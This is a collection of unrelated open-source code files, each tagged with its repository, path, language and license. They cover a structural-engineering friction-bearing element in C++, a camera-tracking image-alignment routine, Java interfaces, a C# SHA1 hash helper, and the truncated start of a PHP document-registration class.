/* ****************************************************************** **
** OpenSees - Open System for Earthquake Engineering Simulation **
** Pacific Earthquake Engineering Research Center **
** **
** **
** (C) Copyright 1999, The Regents of the University of California **
** All Rights Reserved. **
** **
** Commercial use of this program without express permission of the **
** University of California, Berkeley, is strictly prohibited. See **
** file 'COPYRIGHT' in main directory for information on usage and **
** redistribution, and for a DISCLAIMER OF ALL WARRANTIES. **
** **
** Developed by: **
** Frank McKenna (fmckenna@ce.berkeley.edu) **
** Gregory L. Fenves (fenves@ce.berkeley.edu) **
** Filip C. Filippou (filippou@ce.berkeley.edu) **
** **
** ****************************************************************** */
// $Revision: 1.2 $
// $Date: 2009/11/03 23:12:33 $
// $Source: /usr/local/cvs/OpenSees/SRC/element/special/frictionBearing/FlatSliderSimple2d.cpp,v $
// Written: Andreas Schellenberg (andreas.schellenberg@gmx.net)
// Created: 02/06
// Revision: A
//
// Description: This file contains the implementation of the
// FlatSliderSimple2d class.
#include "FlatSliderSimple2d.h"
#include "domain/domain/Domain.h"
#include "domain/mesh/node/Node.h"
#include "utility/actor/objectBroker/FEM_ObjectBroker.h"
#include "utility/recorder/response/ElementResponse.h"
#include "frictionModel/FrictionModel.h"
#include "material/uniaxial/UniaxialMaterial.h"
#include <cfloat>
#include <cmath>
#include <cstdlib>
#include <cstring>
// initialize the class wide variables
XC::Matrix XC::FlatSliderSimple2d::theMatrix(6,6);
XC::Vector XC::FlatSliderSimple2d::theVector(6);
XC::FlatSliderSimple2d::FlatSliderSimple2d(int tag, int Nd1, int Nd2,
FrictionModel &thefrnmdl, double _uy,const std::vector<UniaxialMaterial *> &materials,
const Vector _y, const Vector _x, double m, int maxiter, double _tol)
: FrictionElementBase(tag, ELE_TAG_FlatSliderSimple2d,Nd1,Nd2,3,thefrnmdl,UniaxialMatPhysicalProperties(materials),_uy,_x,_y,m,maxiter,tol),
ubPlastic(0.0), ubPlasticC(0.0)
{
load.reset(6);
assert(materials.size()==2);
// initialize initial stiffness matrix
kbInit.Zero();
kbInit(0,0) = physicalProperties[0]->getInitialTangent();
kbInit(1,1) = kbInit(0,0)*DBL_EPSILON;
kbInit(2,2) = physicalProperties[1]->getInitialTangent();
// initialize other variables
revertToStart();
}
XC::FlatSliderSimple2d::FlatSliderSimple2d()
: FrictionElementBase(ELE_TAG_FlatSliderSimple2d,3),
ubPlastic(0.0), ubPlasticC(0.0)
{load.reset(6);}
int XC::FlatSliderSimple2d::getNumDOF()
{ return 6; }
void XC::FlatSliderSimple2d::setDomain(Domain *theDomain)
{
FrictionElementBase::setDomain(theDomain);
// now determine the number of dof and the dimension
const int dofNd1 = theNodes[0]->getNumberDOF();
const int dofNd2 = theNodes[1]->getNumberDOF();
// if differing dof at the ends - print a warning message
if(dofNd1 != 3)
{
std::cerr << "FlatSliderSimple2d::setDomain() - node 1: "
<< " has incorrect number of DOF (not 3)\n";
return;
}
if(dofNd2 != 3)
{
std::cerr << "FlatSliderSimple2d::setDomain() - node 2: "
<< " has incorrect number of DOF (not 3)\n";
return;
}
// set up the transformation matrix for orientation
this->setUp();
}
int XC::FlatSliderSimple2d::commitState()
{
int errCode = 0;
ubPlasticC = ubPlastic;// commit trial history variables
errCode += theFrnMdl->commitState();// commit friction model
errCode += physicalProperties.commitState();// commit material models
return errCode;
}
int XC::FlatSliderSimple2d::revertToLastCommit()
{
int errCode = 0;
errCode += theFrnMdl->revertToLastCommit();// revert friction model
errCode += physicalProperties.revertToLastCommit();// revert material models
return errCode;
}
int XC::FlatSliderSimple2d::revertToStart()
{
int errCode = 0;
// reset trial history variables
ub.Zero();
ubPlastic = 0.0;
qb.Zero();
// reset committed history variables
ubPlasticC = 0.0;
// reset stiffness matrix in basic system
kb = kbInit;
// revert friction model
errCode += theFrnMdl->revertToStart();
errCode += physicalProperties.revertToStart();// revert material models
return errCode;
}
int XC::FlatSliderSimple2d::update()
{
// get global trial displacements and velocities
const Vector &dsp1 = theNodes[0]->getTrialDisp();
const Vector &dsp2 = theNodes[1]->getTrialDisp();
const Vector &vel1 = theNodes[0]->getTrialVel();
const Vector &vel2 = theNodes[1]->getTrialVel();
static Vector ug(6), ugdot(6), uldot(6), ubdot(3);
for (int i=0; i<3; i++) {
ug(i) = dsp1(i); ugdot(i) = vel1(i);
ug(i+3) = dsp2(i); ugdot(i+3) = vel2(i);
}
// transform response from the global to the local system
ul = Tgl*ug;
uldot = Tgl*ugdot;
// transform response from the local to the basic system
ub = Tlb*ul;
ubdot = Tlb*uldot;
// get absolute velocity
double ubdotAbs = ubdot(1);
// 1) get axial force and stiffness in basic x-direction
double ub0Old = physicalProperties[0]->getStrain();
physicalProperties[0]->setTrialStrain(ub(0),ubdot(0));
qb(0) = physicalProperties[0]->getStress();
kb(0,0) = physicalProperties[0]->getTangent();
// check for uplift
if (qb(0) >= 0.0) {
kb = kbInit;
if (qb(0) > 0.0) {
physicalProperties[0]->setTrialStrain(ub0Old,0.0);
kb(0,0) *= DBL_EPSILON;
}
qb.Zero();
return 0;
}
// 2) calculate shear force and stiffness in basic y-direction
int iter = 0;
double qb1Old = 0.0;
do {
// save old shear force
qb1Old = qb(1);
// get normal and friction (yield) forces
double N = -qb(0) - qb(1)*ul(2);
theFrnMdl->setTrial(N, ubdotAbs);
double qYield = (theFrnMdl->getFrictionForce());
// get initial stiffness of hysteretic component
double k0 = qYield/uy;
// get trial shear force of hysteretic component
double qTrial = k0*(ub(1) - ubPlasticC);
// compute yield criterion of hysteretic component
double qTrialNorm = fabs(qTrial);
double Y = qTrialNorm - qYield;
// elastic step -> no updates required
if (Y <= 0.0) {
// set shear force
qb(1) = qTrial - N*ul(2);
// set tangent stiffness
kb(1,1) = k0;
}
// plastic step -> return mapping
else {
// compute consistency parameter
double dGamma = Y/k0;
// update plastic displacement
ubPlastic = ubPlasticC + dGamma*qTrial/qTrialNorm;
// set shear force
qb(1) = qYield*qTrial/qTrialNorm - N*ul(2);
// set tangent stiffness
kb(1,1) = 0.0;
}
iter++;
} while ((fabs(qb(1)-qb1Old) >= tol) && (iter <= maxIter));
// issue warning if iteration did not converge
if (iter >= maxIter) {
std::cerr << "WARNING: XC::FlatSliderSimple2d::update() - did not find the shear force after "
<< iter << " iterations and norm: " << fabs(qb(1)-qb1Old) << std::endl;
return -1;
}
// 3) get moment and stiffness in basic z-direction
physicalProperties[1]->setTrialStrain(ub(2),ubdot(2));
qb(2) = physicalProperties[1]->getStress();
kb(2,2) = physicalProperties[1]->getTangent();
return 0;
}
const XC::Matrix &XC::FlatSliderSimple2d::getTangentStiff()
{
// zero the matrix
theMatrix.Zero();
// transform from basic to local system
static Matrix kl(6,6);
kl.addMatrixTripleProduct(0.0, Tlb, kb, 1.0);
// add geometric stiffness to local stiffness
kl(2,1) -= 1.0*qb(0);
kl(2,4) += 1.0*qb(0);
//kl(5,1) -= 0.0*qb(0);
//kl(5,4) += 0.0*qb(0);
// transform from local to global system
theMatrix.addMatrixTripleProduct(0.0, Tgl, kl, 1.0);
return theMatrix;
}
const XC::Matrix &XC::FlatSliderSimple2d::getInitialStiff()
{
// zero the matrix
theMatrix.Zero();
// transform from basic to local system
static Matrix kl(6,6);
kl.addMatrixTripleProduct(0.0, Tlb, kbInit, 1.0);
// transform from local to global system
theMatrix.addMatrixTripleProduct(0.0, Tgl, kl, 1.0);
return theMatrix;
}
const XC::Matrix &XC::FlatSliderSimple2d::getMass()
{
// zero the matrix
theMatrix.Zero();
// check for quick return
if (mass == 0.0) {
return theMatrix;
}
double m = 0.5*mass;
for (int i=0; i<2; i++) {
theMatrix(i,i) = m;
theMatrix(i+3,i+3) = m;
}
return theMatrix;
}
int XC::FlatSliderSimple2d::addLoad(ElementalLoad *theLoad, double loadFactor)
{
std::cerr <<"XC::FlatSliderSimple2d::addLoad() - "
<< "load type unknown for element: "
<< this->getTag() << std::endl;
return -1;
}
int XC::FlatSliderSimple2d::addInertiaLoadToUnbalance(const Vector &accel)
{
// check for quick return
if (mass == 0.0) {
return 0;
}
// get R * accel from the nodes
const Vector &Raccel1 = theNodes[0]->getRV(accel);
const Vector &Raccel2 = theNodes[1]->getRV(accel);
if (3 != Raccel1.Size() || 3 != Raccel2.Size()) {
std::cerr << "XC::FlatSliderSimple2d::addInertiaLoadToUnbalance() - "
<< "matrix and vector sizes are incompatible\n";
return -1;
}
// want to add ( - fact * M R * accel ) to unbalance
// take advantage of lumped mass matrix
double m = 0.5*mass;
for (int i=0; i<2; i++) {
load(i) -= m * Raccel1(i);
load(i+3) -= m * Raccel2(i);
}
return 0;
}
const XC::Vector& XC::FlatSliderSimple2d::getResistingForce()
{
// zero the residual
theVector.Zero();
// determine resisting forces in local system
static Vector ql(6);
ql = Tlb^qb;
// add P-Delta moments to local forces
double MpDelta = qb(0)*(ul(4)-ul(1));
ql(2) += 1.0*MpDelta;
//ql(5) += 0.0*MpDelta;
// determine resisting forces in global system
theVector = Tgl^ql;
// subtract external load
theVector.addVector(1.0, load, -1.0);
return theVector;
}
const XC::Vector& XC::FlatSliderSimple2d::getResistingForceIncInertia()
{
theVector = this->getResistingForce();
// add the damping forces if rayleigh damping
if(!rayFactors.nullValues())
theVector += this->getRayleighDampingForces();
// now include the mass portion
if(mass != 0.0)
{
const Vector &accel1 = theNodes[0]->getTrialAccel();
const Vector &accel2 = theNodes[1]->getTrialAccel();
const double m = 0.5*mass;
for(int i=0; i<2; i++)
{
theVector(i)+= m * accel1(i);
theVector(i+3)+= m * accel2(i);
}
}
return theVector;
}
//! @brief Send members through the channel being passed as parameter.
int XC::FlatSliderSimple2d::sendData(CommParameters &cp)
{
int res= FrictionElementBase::sendData(cp);
res+= cp.sendDoubles(ubPlastic,ubPlasticC,getDbTagData(),CommMetaData(19));
return res;
}
//! @brief Receives members through the channel being passed as parameter.
int XC::FlatSliderSimple2d::recvData(const CommParameters &cp)
{
int res= FrictionElementBase::recvData(cp);
res+= cp.receiveDoubles(ubPlastic,ubPlasticC,getDbTagData(),CommMetaData(19));
return res;
}
int XC::FlatSliderSimple2d::sendSelf(CommParameters &cp)
{
inicComm(20);
int res= sendData(cp);
const int dataTag= getDbTag();
res += cp.sendIdData(getDbTagData(),dataTag);
if(res < 0)
std::cerr << "ZeroLength::sendSelf -- failed to send ID data\n";
return res;
}
int XC::FlatSliderSimple2d::recvSelf(const CommParameters &cp)
{
inicComm(20);
const int dataTag= getDbTag();
int res= cp.receiveIdData(getDbTagData(),dataTag);
if(res<0)
std::cerr << "ZeroLength::recvSelf -- failed to receive ID data\n";
else
res+= recvData(cp);
return res;
}
void XC::FlatSliderSimple2d::Print(std::ostream &s, int flag)
{
if (flag == 0) {
// print everything
s << "Element: " << this->getTag();
//s << " type: FlatSliderSimple2d iNode: " << connectedExternalNodes(0);
//s << " jNode: " << connectedExternalNodes(1) << std::endl;
s << " FrictionModel: " << theFrnMdl->getTag() << std::endl;
s << " uy: " << uy << std::endl;
s << " Material ux: " << physicalProperties[0]->getTag() << std::endl;
s << " Material rz: " << physicalProperties[1]->getTag() << std::endl;
s << " mass: " << mass << " maxIter: " << maxIter << " tol: " << tol << std::endl;
// determine resisting forces in global system
s << " resisting force: " << this->getResistingForce() << std::endl;
} else if (flag == 1) {
// does nothing
}
}
XC::Response *XC::FlatSliderSimple2d::setResponse(const std::vector<std::string> &argv, Information &eleInformation)
{
Response *theResponse = 0;
// output.tag("ElementOutput");
// output.attr("eleType","FlatSliderSimple2d");
// output.attr("eleTag",this->getTag());
// output.attr("node1",connectedExternalNodes[0]);
// output.attr("node2",connectedExternalNodes[1]);
// // global forces
// if (strcmp(argv[0],"force") == 0 ||
// strcmp(argv[0],"forces") == 0 ||
// strcmp(argv[0],"globalForce") == 0 ||
// strcmp(argv[0],"globalForces") == 0)
// {
// output.tag("ResponseType","Px_1");
// output.tag("ResponseType","Py_1");
// output.tag("ResponseType","Mz_1");
// output.tag("ResponseType","Px_2");
// output.tag("ResponseType","Py_2");
// output.tag("ResponseType","Mz_2");
// theResponse = new ElementResponse(this, 1, theVector);
// }
// // local forces
// else if (strcmp(argv[0],"localForce") == 0 ||
// strcmp(argv[0],"localForces") == 0)
// {
// output.tag("ResponseType","N_1");
// output.tag("ResponseType","V_1");
// output.tag("ResponseType","M_1");
// output.tag("ResponseType","N_2");
// output.tag("ResponseType","V_2");
// output.tag("ResponseType","M_2");
// theResponse = new ElementResponse(this, 2, theVector);
// }
// // basic forces
// else if (strcmp(argv[0],"basicForce") == 0 ||
// strcmp(argv[0],"basicForces") == 0)
// {
// output.tag("ResponseType","qb1");
// output.tag("ResponseType","qb2");
// output.tag("ResponseType","qb3");
// theResponse = new ElementResponse(this, 3, Vector(3));
// }
// // local displacements
// else if (strcmp(argv[0],"localDisplacement") == 0 ||
// strcmp(argv[0],"localDisplacements") == 0)
// {
// output.tag("ResponseType","ux_1");
// output.tag("ResponseType","uy_1");
// output.tag("ResponseType","rz_1");
// output.tag("ResponseType","ux_2");
// output.tag("ResponseType","uy_2");
// output.tag("ResponseType","rz_2");
// theResponse = new ElementResponse(this, 4, theVector);
// }
// // basic displacements
// else if (strcmp(argv[0],"deformation") == 0 ||
// strcmp(argv[0],"deformations") == 0 ||
// strcmp(argv[0],"basicDeformation") == 0 ||
// strcmp(argv[0],"basicDeformations") == 0 ||
// strcmp(argv[0],"basicDisplacement") == 0 ||
// strcmp(argv[0],"basicDisplacements") == 0)
// {
// output.tag("ResponseType","ub1");
// output.tag("ResponseType","ub2");
// output.tag("ResponseType","ub3");
// theResponse = new ElementResponse(this, 5, Vector(3));
// }
// // material output
// else if (strcmp(argv[0],"material") == 0) {
// if (argc > 2) {
// int matNum = atoi(argv[1]);
// if (matNum >= 1 && matNum <= 2)
// theResponse = physicalProperties[matNum-1]->setResponse(&argv[2], argc-2, output);
// }
// }
// output.endTag(); // ElementOutput
return theResponse;
}
int XC::FlatSliderSimple2d::getResponse(int responseID, Information &eleInfo)
{
double MpDelta;
switch (responseID) {
case 1: // global forces
return eleInfo.setVector(this->getResistingForce());
case 2: // local forces
theVector.Zero();
// determine resisting forces in local system
theVector = Tlb^qb;
// add P-Delta moments
MpDelta = qb(0)*(ul(4)-ul(1));
theVector(2) += 1.0*MpDelta;
//theVector(5) += 0.0*MpDelta;
return eleInfo.setVector(theVector);
case 3: // basic forces
return eleInfo.setVector(qb);
case 4: // local displacements
return eleInfo.setVector(ul);
case 5: // basic displacements
return eleInfo.setVector(ub);
default:
return -1;
}
}
// establish the external nodes and set up the transformation matrix for orientation
void XC::FlatSliderSimple2d::setUp()
{
const Vector &end1Crd = theNodes[0]->getCrds();
const Vector &end2Crd = theNodes[1]->getCrds();
Vector xp = end2Crd - end1Crd;
L = xp.Norm();
if (L > DBL_EPSILON) {
if (x.Size() == 0) {
x.resize(3);
x(0) = xp(0); x(1) = xp(1); x(2) = 0.0;
y.resize(3);
y(0) = -x(1); y(1) = x(0); y(2) = 0.0;
} else {
std::cerr << "WARNING XC::FlatSliderSimple2d::setUp() - "
<< "element: " << this->getTag() << std::endl
<< "ignoring nodes and using specified "
<< "local x vector to determine orientation\n";
}
}
// check that vectors for orientation are of correct size
if (x.Size() != 3 || y.Size() != 3) {
std::cerr << "XC::FlatSliderSimple2d::setUp() - "
<< "element: " << this->getTag() << std::endl
<< "incorrect dimension of orientation vectors\n";
exit(-1);
}
// establish orientation of element for the tranformation matrix
// z = x cross y
Vector z(3);
z(0) = x(1)*y(2) - x(2)*y(1);
z(1) = x(2)*y(0) - x(0)*y(2);
z(2) = x(0)*y(1) - x(1)*y(0);
// y = z cross x
y(0) = z(1)*x(2) - z(2)*x(1);
y(1) = z(2)*x(0) - z(0)*x(2);
y(2) = z(0)*x(1) - z(1)*x(0);
// compute length(norm) of vectors
double xn = x.Norm();
double yn = y.Norm();
double zn = z.Norm();
// check valid x and y vectors, i.e. not parallel and of zero length
if (xn == 0 || yn == 0 || zn == 0) {
std::cerr << "XC::FlatSliderSimple2d::setUp() - "
<< "element: " << this->getTag() << std::endl
<< "invalid orientation vectors\n";
exit(-1);
}
// create transformation matrix from global to local system
Tgl.Zero();
Tgl(0,0) = Tgl(3,3) = x(0)/xn;
Tgl(0,1) = Tgl(3,4) = x(1)/xn;
Tgl(1,0) = Tgl(4,3) = y(0)/yn;
Tgl(1,1) = Tgl(4,4) = y(1)/yn;
Tgl(2,2) = Tgl(5,5) = z(2)/zn;
// create transformation matrix from local to basic system (linear)
Tlb.Zero();
Tlb(0,0) = Tlb(1,1) = Tlb(2,2) = -1.0;
Tlb(0,3) = Tlb(1,4) = Tlb(2,5) = 1.0;
Tlb(1,5) = -L;
}
double XC::FlatSliderSimple2d::sgn(double x)
{
if(x > 0)
return 1.0;
else if (x < 0)
return -1.0;
else
return 0.0;
}
| lcpt/xc | src/domain/mesh/element/special/frictionBearing/FlatSliderSimple2d.cpp | C++ | gpl-3.0 | 20,307 |
/*
* Copyright (C) 2008 Universidade Federal de Campina Grande
*
* This file is part of Commune.
*
* Commune is free software: you can redistribute it and/or modify it under the
* terms of the GNU Lesser General Public License as published by the Free
* Software Foundation, either version 3 of the License, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License
* for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
*/
package br.edu.ufcg.lsd.commune.functionaltests.data.remoteparameters;
import br.edu.ufcg.lsd.commune.api.Remote;
@Remote
public interface MyInterface6 {
void myMethod6(MyRemoteParameter2 parameter);
}
| OurGrid/commune | src/main/test/br/edu/ufcg/lsd/commune/functionaltests/data/remoteparameters/MyInterface6.java | Java | gpl-3.0 | 991 |
// Copyright 2008 Isis Innovation Limited
#include "ptam/construct/small_blurry_image.h"
#include <cvd/utility.h>
#include <cvd/convolution.h>
#include <cvd/vision.h>
#include <TooN/se2.h>
#include <TooN/Cholesky.h>
#include <TooN/wls.h>
//using namespace CVD;
using namespace std;
namespace ptam {
CVD::ImageRef SmallBlurryImage::mirSize(-1,-1);
SmallBlurryImage::SmallBlurryImage(KeyFrame &kf, double dBlur) {
mbMadeJacs = false;
MakeFromKF(kf, dBlur);
}
SmallBlurryImage::SmallBlurryImage() {
mbMadeJacs = false;
}
// Make a SmallBlurryImage from a KeyFrame This fills in the mimSmall
// image (Which is just a small un-blurred version of the KF) and
// mimTemplate (which is a floating-point, zero-mean blurred version
// of the above)
void SmallBlurryImage::MakeFromKF(KeyFrame &kf, double dBlur) {
if(mirSize[0] == -1)
mirSize = kf.aLevels[3].im.size() / 2;
mbMadeJacs = false;
mimSmall.resize(mirSize);
mimTemplate.resize(mirSize);
mbMadeJacs = false;
halfSample(kf.aLevels[3].im, mimSmall);
CVD::ImageRef ir;
unsigned int nSum = 0;
do
nSum += mimSmall[ir];
while(ir.next(mirSize));
float fMean = ((float) nSum) / mirSize.area();
ir.home();
do
mimTemplate[ir] = mimSmall[ir] - fMean;
while(ir.next(mirSize));
convolveGaussian(mimTemplate, dBlur);
}
// Make the jacobians (actually, no more than a gradient image)
// of the blurred template
void SmallBlurryImage::MakeJacs() {
mimImageJacs.resize(mirSize);
// Fill in the gradient image
CVD::ImageRef ir;
do {
TooN::Vector<2> &v2Grad = mimImageJacs[ir];
if (mimTemplate.in_image_with_border(ir,1)) {
v2Grad[0] = mimTemplate[ir + CVD::ImageRef(1,0)] -
mimTemplate[ir - CVD::ImageRef(1,0)];
v2Grad[1] = mimTemplate[ir + CVD::ImageRef(0,1)] -
mimTemplate[ir - CVD::ImageRef(0,1)];
// N.b. missing 0.5 factor in above, this will be added later.
} else {
v2Grad = TooN::Zeros;
}
} while (ir.next(mirSize));
mbMadeJacs = true;
}
// Calculate the zero-mean SSD between one image and the next.
// Since both are zero mean already, just calculate the SSD...
double SmallBlurryImage::ZMSSD(SmallBlurryImage &other) {
double dSSD = 0.0;
CVD::ImageRef ir;
do {
double dDiff = mimTemplate[ir] - other.mimTemplate[ir];
dSSD += dDiff * dDiff;
} while(ir.next(mirSize));
return dSSD;
}
// Find an SE2 which best aligns an SBI to a target
// Do this by ESM-tracking a la Benhimane & Malis
std::pair<TooN::SE2<>,double> SmallBlurryImage::IteratePosRelToTarget(
SmallBlurryImage &other, int nIterations) {
TooN::SE2<> se2CtoC;
TooN::SE2<> se2WfromC;
CVD::ImageRef irCenter = mirSize / 2;
se2WfromC.get_translation() = vec(irCenter);
std::pair<TooN::SE2<>, double> result_pair;
if (!other.mbMadeJacs) {
std::cerr << "You spanner, you didn't make the jacs for the target." << std::endl;
assert(other.mbMadeJacs);
};
double dMeanOffset = 0.0;
TooN::Vector<4> v4Accum;
TooN::Vector<10> v10Triangle;
CVD::Image<float> imWarped(mirSize);
double dFinalScore = 0.0;
for (int it = 0; it < nIterations; it++) {
dFinalScore = 0.0;
v4Accum = TooN::Zeros;
v10Triangle = TooN::Zeros; // Holds the bottom-left triangle of JTJ
TooN::Vector<4> v4Jac;
v4Jac[3] = 1.0;
TooN::SE2<> se2XForm = se2WfromC * se2CtoC * se2WfromC.inverse();
// Make the warped current image template:
TooN::Vector<2> v2Zero = TooN::Zeros;
CVD::transform(mimTemplate, imWarped, se2XForm.get_rotation().get_matrix(),
se2XForm.get_translation(), v2Zero, -9e20f);
// Now compare images, calc differences, and current image jacobian:
CVD::ImageRef ir;
do {
if (!imWarped.in_image_with_border(ir, 1))
continue;
float l,r,u,d,here;
l = imWarped[ir - CVD::ImageRef(1, 0)];
r = imWarped[ir + CVD::ImageRef(1, 0)];
u = imWarped[ir - CVD::ImageRef(0, 1)];
d = imWarped[ir + CVD::ImageRef(0, 1)];
here = imWarped[ir];
if (l + r + u + d + here < -9999.9) // This means it's out of the image; c.f. the -9e20f param to transform.
continue;
TooN::Vector<2> v2CurrentGrad;
v2CurrentGrad[0] = r - l; // Missing 0.5 factor
v2CurrentGrad[1] = d - u;
TooN::Vector<2> v2SumGrad = 0.25 * (v2CurrentGrad + other.mimImageJacs[ir]);
// Why 0.25? This is from missing 0.5 factors: One for
// the fact we average two gradients, the other from
// each gradient missing a 0.5 factor.
v4Jac[0] = v2SumGrad[0];
v4Jac[1] = v2SumGrad[1];
v4Jac[2] = -(ir.y - irCenter.y) * v2SumGrad[0] + (ir.x - irCenter.x) * v2SumGrad[1];
// v4Jac[3] = 1.0;
double dDiff = imWarped[ir] - other.mimTemplate[ir] + dMeanOffset;
dFinalScore += dDiff * dDiff;
v4Accum += dDiff * v4Jac;
// Speedy fill of the LL triangle of JTJ:
double *p = &v10Triangle[0];
*p++ += v4Jac[0] * v4Jac[0];
*p++ += v4Jac[1] * v4Jac[0];
*p++ += v4Jac[1] * v4Jac[1];
*p++ += v4Jac[2] * v4Jac[0];
*p++ += v4Jac[2] * v4Jac[1];
*p++ += v4Jac[2] * v4Jac[2];
*p++ += v4Jac[0];
*p++ += v4Jac[1];
*p++ += v4Jac[2];
*p++ += 1.0;
} while(ir.next(mirSize));
TooN::Vector<4> v4Update;
// Solve for JTJ-1JTv;
{
TooN::Matrix<4> m4;
int v=0;
for(int j=0; j<4; j++)
for(int i=0; i<=j; i++)
m4[j][i] = m4[i][j] = v10Triangle[v++];
TooN::Cholesky<4> chol(m4);
v4Update = chol.backsub(v4Accum);
}
TooN::SE2<> se2Update;
se2Update.get_translation() = -v4Update.slice<0,2>();
se2Update.get_rotation() = TooN::SO2<>::exp(-v4Update[2]);
se2CtoC = se2CtoC * se2Update;
dMeanOffset -= v4Update[3];
}
result_pair.first = se2CtoC;
result_pair.second = dFinalScore;
return result_pair;
}
// What is the 3D camera rotation (zero trans) SE3<> which causes an
// input image SO2 rotation?
TooN::SE3<> SmallBlurryImage::SE3fromSE2(TooN::SE2<> se2, ATANCamera camera) {
// Do this by projecting two points, and then iterating the SE3<> (SO3
// actually) until convergence. It might seem stupid doing this so
// precisely when the whole SE2-finding is one big hack, but hey.
camera.SetImageSize(mirSize);
TooN::Vector<2> av2Turned[2]; // Our two warped points in pixels
av2Turned[0] = CVD::vec(mirSize / 2) + se2 * CVD::vec(CVD::ImageRef(5,0));
av2Turned[1] = CVD::vec(mirSize / 2) + se2 * CVD::vec(CVD::ImageRef(-5,0));
TooN::Vector<3> av3OrigPoints[2]; // 3D versions of these points.
av3OrigPoints[0] = unproject(camera.UnProject(CVD::vec(mirSize / 2) +
CVD::vec(CVD::ImageRef(5,0))));
av3OrigPoints[1] = unproject(camera.UnProject(CVD::vec(mirSize / 2) +
CVD::vec(CVD::ImageRef(-5,0))));
TooN::SO3<> so3;
for (int it = 0; it<3; it++) {
TooN::WLS<3> wls; // lazy; no need for the 'W'
wls.add_prior(10.0);
for (int i = 0; i < 2; i++) {
// Project into the image to find error
TooN::Vector<3> v3Cam = so3 * av3OrigPoints[i];
TooN::Vector<2> v2Implane = project(v3Cam);
TooN::Vector<2> v2Pixels = camera.Project(v2Implane);
TooN::Vector<2> v2Error = av2Turned[i] - v2Pixels;
TooN::Matrix<2> m2CamDerivs = camera.GetProjectionDerivs();
TooN::Matrix<2,3> m23Jacobian;
double dOneOverCameraZ = 1.0 / v3Cam[2];
for (int m = 0; m < 3; m++) {
const TooN::Vector<3> v3Motion = TooN::SO3<>::generator_field(m, v3Cam);
TooN::Vector<2> v2CamFrameMotion;
v2CamFrameMotion[0] = (v3Motion[0] - v3Cam[0] * v3Motion[2] * dOneOverCameraZ) * dOneOverCameraZ;
v2CamFrameMotion[1] = (v3Motion[1] - v3Cam[1] * v3Motion[2] * dOneOverCameraZ) * dOneOverCameraZ;
m23Jacobian.T()[m] = m2CamDerivs * v2CamFrameMotion;
};
wls.add_mJ(v2Error[0], m23Jacobian[0], 1.0);
wls.add_mJ(v2Error[1], m23Jacobian[1], 1.0);
};
wls.compute();
TooN::Vector<3> v3Res = wls.get_mu();
so3 = TooN::SO3<>::exp(v3Res) * so3;
};
TooN::SE3<> se3Result;
se3Result.get_rotation() = so3;
return se3Result;
}
} // namespace ptam | williammc/ptam_plus | ptam/construct/small_blurry_image.cc | C++ | gpl-3.0 | 8,238 |
using System;
using System.Security.Cryptography;
using System.Text;
namespace ClientManagerNotifier.Helpers
{
/// <summary>
/// The hash helper.
/// </summary>
public static class HashHelper
{
/// <summary>
/// Calculates the hash.
/// </summary>
/// <param name="original">The original string for hash calculation.</param>
/// <returns>Hash of the original string.</returns>
public static string CalcHash(string original)
{
SHA1 sha1 = new SHA1CryptoServiceProvider();
var originalBytes = Encoding.Default.GetBytes(original);
var encodedBytes = sha1.ComputeHash(originalBytes);
var hash = BitConverter.ToString(encodedBytes);
return hash;
}
}
} | kirmir/ClientManager | ClientManagerNotifier/Helpers/HashHelper.cs | C# | gpl-3.0 | 796 |
package org.codeandmagic.affected.svn;
// @affects: SvnProjectProcessor
/** Retrieves the content of a file from the svn. */
public interface SvnFileContentRetriever {
/**
* @param project
* the svn project object
* @param filePath
* the path to the file whose content we want
* @param targetRevision
* the revision of the file
*
* @return a string representing the entire content of the file
*
* @throws SvnException
* if an exception occurred while checking out or reading the
* content of the file
*/
String getFileContent(SvnProject project, String filePath,
long targetRevision) throws SvnException;
}
| evelyne24/Affected | affected-core/src/main/java/org/codeandmagic/affected/svn/SvnFileContentRetriever.java | Java | gpl-3.0 | 700 |
<?php
class Radicacion {
/**
* Clase que maneja los Historicos de los documentos
*
* @param int Dependencia Dependencia de Territorial que Anula
* @db Objeto conexion
* @access public
*/
// VARIABLES DE DATOS PARA LOS RADICADOS
var $db;
var $tipRad;
var $radiTipoDeri;
var $nivelRad;
var $radiCuentai;
var $eespCodi;
var $mrecCodi;
var $radiFechOfic;
var $radiNumeDeri;
var $tdidCodi;
var $descAnex;
var $radiNumeHoja;
var $radiPais;
var $raAsun;
var $radiDepeRadi;
var $radiUsuaActu;
var $radiDepeActu;
var $carpCodi;
var $radiNumeRadi;
var $trteCodi;
var $radiNumeIden;
var $radiFechRadi;
var $sgd_apli_codi;
var $tdocCodi;
var $estaCodi;
var $radiPath;
var $nguia;
var $tsopt;
var $urgnt;
var $dptcn;
// VARIABLES DEL USUARIO ACTUAL
var $dependencia;
var $usuaDoc;
var $usuaLogin;
var $usuaCodi;
var $codiNivel;
var $noDigitosRad;
function Radicacion($db) {
/**
* Constructor de la clase Historico
* @db variable en la cual se recibe el cursor sobre el cual se esta trabajando.
*
*/
global $HTTP_SERVER_VARS,$PHP_SELF,$HTTP_SESSION_VARS,$HTTP_GET_VARS,$krd;
//global $HTTP_GET_VARS;
$this->db = $db;
$this->noDigitosRad = 6;
$curr_page = $id.'_curr_page';
$this->dependencia= $_SESSION['dependencia'];
$this->usuaDoc = $_SESSION['usua_doc'];
$this->usuaDoc =$_SESSION['nivelus'];
$this->usuaLogin = $krd;
$this->usuaCodi = $_SESSION['codusuario'];
isset($_GET['nivelus']) ? $this->codiNivel = $_GET['nivelus'] : $this->codiNivel = $_SESSION['nivelus'];
}
// Metodo insertar un radicado nuevo
function newRadicado($tpRad, $tpDepeRad) {
// Busca el Nivel de Base de datos.
$whereNivel = "";
$sql = "SELECT CODI_NIVEL FROM USUARIO WHERE USUA_CODI = ".$this->radiUsuaActu." AND DEPE_CODI=".$this->radiDepeActu;
// Busca el usuairo Origen para luego traer sus datos.
$rs = $this->db->conn->query($sql); # Ejecuta la busqueda
$usNivel = $rs->fields["CODI_NIVEL"];
# Busca el usuairo Origen para luego traer sus datos.
# Busca el usuairo Origen para luego traer sus datos.
$SecName = "SECR_TP$tpRad"."_".$tpDepeRad;
$secNew = $this->db->conn->nextId($SecName);
if($secNew==0) {
$this->db->conn->RollbackTrans();
$secNew=$this->db->conn->nextId($SecName);
